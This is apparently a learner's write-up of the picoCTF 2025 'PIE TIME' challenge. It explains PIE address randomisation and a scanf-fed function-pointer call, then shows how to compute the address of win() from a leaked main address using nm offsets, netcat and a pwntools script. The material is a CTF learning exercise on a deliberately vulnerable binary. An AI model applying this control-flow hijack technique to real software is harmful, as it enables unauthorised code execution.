

# PIE\_TIME

PIE TIME 



Easy

Binary Exploitation

picoCTF 2025

browser\_webshell\_solvable

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## Description

Can you try to get the flag? Beware we have PIE!

Connect to the program with netcat:

```
$ nc rescued-float.picoctf.net 52608
```

The program's source code can be downloaded [here](#). The binary can be downloaded [here](#).

This challenge launches an instance on demand.

Its current status is: **RUNNING**

Instance Time Remaining: **10:42**

[Restart Instance](#)

Hints 

1

```
(kali㉿kali)-[~/CTF_Files/Pico]
└─$ nc rescued-float.picoctf.net 52608
Address of main: 0x65306015233d
Enter the address to jump to, ex => 0x12345: 0x615a4cf2533f
Your input: 615a4cf2533f
Segfault Occurred, incorrect address.

(kali㉿kali)-[~/CTF_Files/Pico]
```

Played with the code with netcat for a bit and was completely lost....

## Was confused about...

- Recalling what a binary ACTUALLY is.
- Whether `flag.txt` is inside the binary or on the server instance.
- What `PIE` and stack protections are.
- How to actually exploit this over the network.

## 1. Binary vs. Source

- The `.c` file is source code.
- The binary ( `vuln` ) is the **compiled machine code** that actually runs.
- Binaries don't "contain" `flag.txt` — they may **read from it at runtime** if told to.

## 2. Challenge Structure

- The binary runs **on a remote CTF server**.
- Idea is to:
  - Analyze it **locally**.
  - Find the address of a hidden `win()` function.
  - Send that address over `netcat` to the remote binary.
  - If successful, it calls `win()` and prints the flag.

## 3. The Key Vulnerability

- The binary reads a user-supplied address:

```
scanf("%lx", &val);
((void (*)( ))val)();
```

- This allows **hijack execution** by entering the address of `win()`.

## 4. What Is PIE (Position-Independent Executable)?

- PIE means the binary loads at a **random memory address every run**.
- The function addresses ( `main()` , `win()` ) shift every time.
- Must calculate the base address at runtime.

## 5. Exploitation Math

- Get local offsets using `nm vuln`:

```
nm vuln | grep win    # → 00000000000012a7 T win
nm vuln | grep main   # → 000000000000133d T main
```

- On the remote server, you'll see:

```
Address of main: 0x5e28abc1233d
```

- Then do the math:

```
base = remote_main - local_main_offset  
win_addr = base + win_offset
```

## 6. Sending the Exploit

- Once you calculate the `win()` address:

```
echo '0xCALCULATED_WIN_ADDRESS' | nc challenge.site 1234
```

## 8. Automation with Python ( pwntools )

- Wrote a Python script to:
  - Connect to the challenge.
  - Parse the remote `main()` address.
  - Do the math.
  - Send the exploit.
  - Print the flag.
- Had a problem installing `pwntools` , but learned to fix it via:
  - `python3 -m venv`
  - `pip install pwntools` inside the virtual env

## Final Thoughts

- Known as a **ret2win + PIE** CTF challenge.
- Now Know how to:
  - Understand binary layout
  - Work with PIE binaries
  - Use `nm` , `netcat` , and `pwntools`